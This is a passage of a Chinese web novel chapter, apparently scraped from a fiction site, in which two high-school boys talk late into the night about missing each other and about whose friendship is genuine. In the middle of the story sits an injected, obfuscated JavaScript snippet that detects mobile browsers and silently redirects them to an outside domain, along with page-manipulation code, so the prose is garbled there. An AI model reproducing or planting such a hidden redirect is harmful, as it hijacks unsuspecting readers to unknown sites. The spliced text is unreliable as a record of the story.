“当然,可不能白做啊,农场的周薪还挺高的,除了成群的牛羊还有点蔬菜水果什么的,每年采摘季都有留学生去攒学费,挺好玩的。”裘时用食指挠了挠原晢的掌心,开始光明正大抢占这难得骗到手的便宜。 “想去么?”裘时看着他笑,“想去就快点把胳膊养好,寒假那会儿就可以去,南半球正好是夏天,草场的草肯定特别茂盛。” “哦,那什么,你先……”原晢开始抽手。 “想去么?”裘时握得更紧了些,“想去就提前说,我让他们把最好玩的活儿空出来。” “不去,想不想都不能去。”原晢说,“这位大爷,我可是要考试的人,哪有心思像您这样整月整月地出门耍,自个儿玩去吧哈。” “都说了我也考。”裘时说。 “你考屁啊你这三三得六的水准,根本没把考试放心上,还亲完人就……”原晢紧急闭嘴。 裘时似乎有些愣神,不知道在想什么。 “咳。”原晢趁着这几秒的间隙直接把手抽了回来,佯装沉稳道:“月考也敢翘,说走就走,一走走满一个月,现在可是高三啊大爷,你自己回去看看,桌子里都堆多少卷子了……” “原晢。”裘时突然一个翻身立起来,跪在床上直勾勾地盯着他问:“这段时间,你是不是还挺想我的?” “谁,谁谁谁想你……”原晢顺势将笨拙的右手往外一摆,大脑紧急加载三秒钟,突然变得底气十足:“废话,我当然想啊。” “我想打你。” 本以为能占到上风的原某表情都还没就绪,整颗脑袋就被裘时跨着玩偶猫抱住了。 “谢谢你,原晢。”裘时压低了声音,“谢谢你想我。” 双臂开张很适合拥抱的原某:“?” 他的安全期……失效了? 就这么失效了? 不要啊! “喂,你别压到我的石膏手。”原晢的小脸蛋开始发烫。 裘时微调了一下角度,保证自己只对被监护人脖子以上动了手。 “就抱一下。”裘时说。 “……一下。”原晢发现自己好像也不是那么抗拒,既来之则安之,他挪了挪屁股坐正,问:“一下是多久?” “就一下。”裘时说。 “一秒十块钱。”原晢清了清嗓子说,“开始计时了。” “好。” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15207351|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那晚丢了魂的裘时,似乎又出现了。 不知道为什么。 “其实……”原晢试图安慰他,“其实大家都挺想你的,街上商户还来烧烤铺问过呢,两个晨也在班里天天念叨。” “但谁让你一声不吭就玩消失,侯哥的电话都没接,谁还敢联系你。” “你可以联系我。”裘时的声音压得很低,“打电话发信息都可以,任何时候都可以。” “这样,我就知道你想我了。” “我就会回来了。” 我想个屁啊,我想打你。原晢在心里念着。 明明没有酒味,这人怎么还和那晚喝高的状态一模一样,又开始装可怜了。 真麻烦。 原晢用左手轻拍了一下裘时的背,默念着拍一次五块钱,于是他又连续哄了几下。 脸侧的人明显有了放松。 窗外的雨势逐渐变得柔和,折腾了整夜的电闪雷鸣也被抹净了声息,小屋里只剩淅淅沥沥的白噪音,非常助眠。 原晢能感受到,那倒在他身上的重量正在以微量级的进程缓慢增加,一点又一点,估计再过几分钟就会把他压垮了。 在压到身上的重量彻底失控前,裘时松开了手。 “困了吗?”裘时朝原晢眨眨眼,那点莫名的情绪似乎已经消失了,“如果还不想睡,我们干点别的?” 原晢有点不敢答应:“?” 不想睡,但也不想干别的。 特别是和这个姓裘的一起干,非常危险。原晢在心里做好了判断。 他正准备摇头,下一秒大脑就自动触发了哈欠开关。 “嗯,这里还提供哄睡服务。”裘时也被传染了,他边打哈欠边将原晢的枕头放好,一黑一白的两只玩偶猫也被脸贴脸重新摆正,“睡吧,我看着你睡。” “裘时。”原晢叫了他一声。 “嗯。”裘时应着,动作没停。 “为什么会觉得大家都不喜欢你?”原晢不太想睡,但还是被安排着躺了下来,“你有很多朋友,学校里,申经街上,甚至遍布南半球……你沿街发个物资都那么多人陪着,欢欢喜喜热热闹闹的,还不够么?” “不一样。”裘时说。 “怎么不一样了?”原晢试图举例:“那不说那些,就说学校里的,侯老师就对你挺好的啊,就算你长期垫底,他也没放弃你吧?你这马上要出去了,除了常规的学籍交接各种手续,他不是还帮忙联系了好几个澳洲那边的学长学姐吗,也算是尽心尽力了啊,你看同样要去留学的朱旭阳就没这待遇,侯老师肯定喜欢你。” “不一样。”裘时笑了一下,解释说:“师母离世前需要长期服药,进口的靶向药效果最好,渠道是李曼迪女士帮忙对接的。” 原晢:“……” 那咋了?所以这位老师的关照有私心是吗? 有一点点点点都不行? 这人真是感情洁癖! “那……朱旭阳?”原晢再接再厉:“朱旭阳虽然整体排名不怎么样,但他英语单科在这儿算是鹤立鸡群了,经常一百三一百四的,本部就没几个人能有这个分,之前他不是还给你整理了一堆语言考试用的东西吗,你这摆烂似的一点不学,宁可多读一年预科也不接受别人的好意,这好意可全被两个晨给生吞了啊。” “嗯。”裘时点点头,笑着帮原晢掀了掀被子,反问他:“你知道临安哪个地段的房子最贵最保值吗?” “房子?”一窍不通的原晢开始回忆,“大马路对面的中心广场?那栋全市最高的楼?” “怎么这么聪明呀,哥哥。”裘时轻敲了一下原晢的脑门,又伸手揉揉他的发,悄声说:“朱旭阳家,广场边上的那套大平层,八千一平转的手。” “多少?”原晢用力回想街上见过的中介小广告,临安市区房屋均价大概在一万五左右,而街对面是中心的中心…… “那边至少两万八吧?八千?你搞笑呢……你零头出的啊!” “反正我不在那里住,空着也是空着。”裘时无所谓地耸耸肩,“好几年前的事情了,那时朱旭阳他爸正值上升期,逢年过节的,客户领导总在家里出出进进,中老年又好面子,就想着要点排场,到处借钱找房换呢。” “那也不能这么便宜啊!”原晢一整个痛心疾首,像是自家后院被人撬了一样难受,“这和白送有什么区别,低价也不用低到这程度吧,如果再出去捯一手岂不赚飞……” “罢了罢了罢了……” 原晢呜咽着把被子往脸上一盖,麻木地继续先前的话题:“孙晨?孙晨总可以了吧?看着就蛮单纯的……他收了什么?” “是挺单纯的,给零食就叫爹,十块二十块就可以收编了。”裘时说。 “赵晨呢?赵晨总归硬气点吧,这几周来给裘爷送礼送问候的人他全拿小本本编号了,一个不少,就等着给您汇报呢。”原晢说。 “嗯,老赵确实硬气,办事也靠谱。”裘时笑着说,“三十块吧。” 原晢:“……” 原晢很想知道自己在姓裘的那杆秤上能值多少,但他开不了口。 “那杨奶奶……杨老师!”原晢抬手指着屋子说,“这房子都是杨老师的,杨老师不喜欢你吗,不喜欢你能让你住这么久?” “嗯,杨老师对我很好。”裘时顿了一下,道:“因为杨老师可怜我。” “你可怜个屁!”原晢朝他翻了一个大白眼。 “我可怜的。”裘时很认真地点了一下头,一字一句看着他说:“哥哥,你也可怜可怜我吧。” “你不可怜,我可怜。”原晢没理他,伸手把玩偶猫的黑白两只屁股都怼了过去,“不准说话了,睡觉。” “嗯,晚安。” 裘时把脑袋塞进了玩偶猫之间,凑过去和原晢小声说了一句悄悄话:“现在有人喜欢我了。” 原晢假装闭眼。 “原晢,谢谢你喜欢我。”裘时说。 我喜欢个屁啊。原晢默念。 为了不让这容易走偏的对话产生下文,原晢强力忍住了反驳的欲望。 不一会儿,他听到身旁的被子动了动,那个姓裘的该是滚回自己窝了。很好。 “我特别喜欢你。”滚回被窝的人低声补充。 快闭嘴吧。原晢想。 室内安静了三秒钟。 “超级喜欢你。”那个姓裘的又说。 原晢:“……” 原晢自然是要反驳的,但身旁的呼吸声似乎变得有点沉。 胜利近在咫尺,他再次忍住了怼人的冲动。 十秒钟后。 “原晢,谢谢你回来。”裘时呢喃道。 “……”原晢忍无可忍,不得不拨开玩偶猫一探究竟。 结果,就这么一眨眼的功夫,枕边人竟然完全睡熟了……说什么梦话呢!